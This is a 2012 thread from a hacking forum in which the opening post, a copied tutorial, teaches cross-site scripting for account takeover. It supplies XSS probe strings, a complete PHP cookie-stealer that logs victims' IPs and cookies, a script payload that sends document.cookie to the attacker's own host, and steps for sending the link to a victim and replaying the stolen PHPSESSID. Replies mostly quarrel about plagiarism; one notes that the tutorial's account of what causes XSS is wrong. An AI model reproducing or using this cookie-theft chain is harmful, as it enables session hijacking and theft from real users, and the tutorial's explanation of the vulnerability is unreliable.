Sinisterly
Tutorial XSS TUT - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking)
+--- Thread: Tutorial XSS TUT (/Thread-Tutorial-XSS-TUT)

Pages: 1 2

XSS TUT - Ashley - 12-10-2012

Welcome to my XSS-Tutorial!

XSS (Cross Site Scripting) is like an ID. For example; If you are under 21 and want to buy alcohol in the USA, you need an ID.
But imagine, you are only 19. So you get the idea of stealing someones ID or faking one.
And this is what we are going to to while Cross Site Scripting .
You are going to steal the PHPSESSID of a user, to get access to the adminpanel/Whatever.


XSS (Cross Site Scripting) is necessarry to get the cookies of other users.
Every user has its own session. In PHP it is the PHPSESSID. On every new login, you will get a new PHPSESSID.

A little example for a PHPSESSID

PHP Code:
PHPSESSID=6trgq6bpg3ogdvarij1iiu12o7

So. If you are already in charge of someones PHPSESSID and it is still valid, not destroyed, you can get access to his account.
But in order to do that, you will have to find an XSS-Exploit first.


So... How do I find an XSS?

Basically it is pretty easy. Most websites are written in PHP, that means -> There is a function called "GET"
This GET-function is used in HTML forms:

Code:
<form method="get" action="index.php">


But there is also another function. It is called "POST"


Code:
<form method="post" action="index.php">


There is one difference between these two functions. If you use "GET" - There is another parameter placed in the url.
Like this:
Code:
<form method="get" action="index.php"><input type="text" name="search">
The URL will look like this:
http://www.hiswebsite.com/index.php?search=



And if you perform it with the POST-Function, it would look like this:
Code:
<form method="POST" action="index.php"><input type="text" name="search">

Now there won't be a parameter in your URL. That is the sense of the function POST. No parameters attached to your URL.

Well, this function can also be performed with PHP.
PHP Code:
<?php $search = $_GET['search']; ?>
If this is running with a db, it creates an XSS-exploit.

How do I check for XSS?
You can check it pretty easy. In our form we are having:


Code:
<input type="text" name="search">

Now, there should be a textbox on the website. It should have the function to check the whole site for your keyword.
And to check it now, we have to use Javascript.

You just have to enter the following Javascript into the textbox.



Code:
"><script>alert('XSS')</script>
Now you should see an alert saying: XSS.(At least at this point)
But, there is a slight chance, that you might see another error.

Code:
"You have an Error in your MySQL Syntax near '...."


This isn't part of XSS. But it is vulnerable to SQLi then. (Another type of hacking into websites/databases)

If you do not get an alert. It is either not vulnerable/fixxed or you may try another way.

Generally you can find XSS via HTML tags. You do not always have to use JS.

So, if :
Code:
"><script>alert('XSS')</script>
does not work, try something else

Code:
<script>alert('XSS')</script>

<script>alert(1337)</script>

If there is still no alert, try HTML. Simply enter the following into the textbox!



Code:
"><font color="red"> XSS</font>


If the result is a red text saying "XSS", it is a success. It is vulnerable to XSS.

How to exploit XSS?

To exploit a XSS, we will need a cookiestealer.
Here:
PHP Code:
<?php
function GetIP() { if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return($ip); }
function logData() { $ipLog="logs.html"; $cookie = $_SERVER['QUERY_STRING']; $register_globals = (bool) ini_get('register_gobals'); if ($register_globals) $ip = getenv('REMOTE_ADDR'); else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT']; $user_agent = $_SERVER['HTTP_USER_AGENT']; $rqst_method = $_SERVER['METHOD']; $rem_host = $_SERVER['REMOTE_HOST']; $referer = $_SERVER['HTTP_REFERER']; $date=date ("d.m.Y H:iConfused"); $log=fopen("$ipLog", "a+");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog)) fputs($log, "IP: <b><font color=\"red\">$ip</font></b><br>HOST: <b><font color=\"blue\">$rem_host</font></b><br>DATUM: <b><font color=\"green\">$date</font></b><br>COOKIE: <b><font color=\"brown\">$cookie</font></b> <br><br><br>"); else fputs($log, "IP: <b><font color=\"red\">$ip</font></b><br>HOST: <b><font color=\"blue\">$rem_host</font></b><br>DATUM: <b><font color=\"green\">$date</font></b><br>COOKIE: <b><font color=\"brown\">$cookie</font></b> \n\n"); fclose($log); }
logData();
?>

This steals; The IP, the host, the date and for sure the cookie.
To see what cookie you are using at the moment, write this in your URL and press enter:

Code:
javascript:document.cookie;
or
javascript:alert(document.cookie);

Well, if you have found a XSS-exploit now, you need to connect the victim site with your server/stealer.
Let's upload it to http://www.yourwebsite.com/cookie.php

Now to really exploit it, write the following into the textbox:

Code:
"><script>document.location="http://meinewebsite.de/cookie.php?" + document.cookie</script>

Basically the script gets attached to your GET parameter.

Code:
www.hiswebsite.com/index.php?suche="><script>document.location="http://yourwebsite.com/cookie.php?" + document.cookie</script>

Some explanations:
Code:
document.location = Location
document.cookie = Your cookies
Now the cookiestealer will show all the cookies etc. on http://www.yourwebsite.com/logs.html
In order to get those logs, you have to send the link:

Code:

http://www.hiswebsite.com/index.php?suche="><script>document.location="http://yourwebsite.com/cookie.php?" + document.cookie</script>

to the target person. You will have the logs in yourwebsite.com/logs.html now.


Now, that you have stolen his cookies, you need to be fast.
Get access to his account.

To finally get into his account, you have to use his PHPSESSID.


Example logs.html:

Code:
Cookies: PHPSESSID=6trgq6bpg3ogdvarij1iiu12o7
This is his cookie. His open session.

Now to get access to his account, you type into the url :

Code:
javascript:void(document.cookie="PHPSESSID=6trgq6bpg3ogdvarij1iiu12o7")

and press enter. Finally press F5, and you are in it.

But do not forget: If you log out, his session is destroyed and you might have to steal it again.

Greetz,
Ashley (Leaked) All effort goes to iOS

RE: XXS TUT - Keeper - 12-10-2012

So you're leeching other people's work in order to make yourself interesting in front of the others and look smart? You didn't even make the effort of styling the thread. Just simply COPY - PASTE.

http://hmsef.net/Thread-XSS-Tutorial?pid=58814#pid58814

Next time make sure to give credits to the real author of the tutorial.

RE: XXS TUT - Antics - 12-10-2012

(12-10-2012, 12:17 PM)Keeper Wrote: So you're leeching other people's work in order to make yourself interesting in front of the others and look smart? You didn't even make the effort of styling the thread. Just simply COPY - PASTE.

http://hmsef.net/Thread-XSS-Tutorial?pid=58814#pid58814

Next time make sure to give credits to the real author of the tutorial.

I love it when Keeper spots a skid lol
And how in the fuck does this kid have more rep than me?

RE: XXS TUT - YP. - 12-10-2012

NOT COOL stealing someone else's work.

But is there another page to upload the cookie to?
And do i have to save it as .php? the cookie catcher.

RE: XXS TUT - Ashley - 12-10-2012

Sorry guys I forgot to say that it was leaked. Updated the thread.
And YP. yeah you do save it as a php.

RE: XXS TUT - ๖ۣۣۜۜFear - 12-10-2012

I believe it's spelled "XSS", not XXS.

RE: XXS TUT - YP. - 12-10-2012

(12-10-2012, 09:42 PM)BaneKitty Wrote: I believe it's spelled "XSS", not XXS.

Yep Smile
XXS = Extra Extra Small ( story of my life Wink )
XSS = Cross-Site Scripting

RE: XXS TUT - Anonymous - 12-10-2012

Its not cool to steal others work. At least give them the credit by saying "I take not credit for this". Its still a good leech/share. Thanks for this.

RE: XXS TUT - w00t - 12-11-2012

Everything about how to exploit is accurate, the section on what causes XSS vulnerabilities is completely wrong.

RE: XXS TUT - Antics - 12-11-2012

WTF IS "XXS" Anyways where did you come from kid?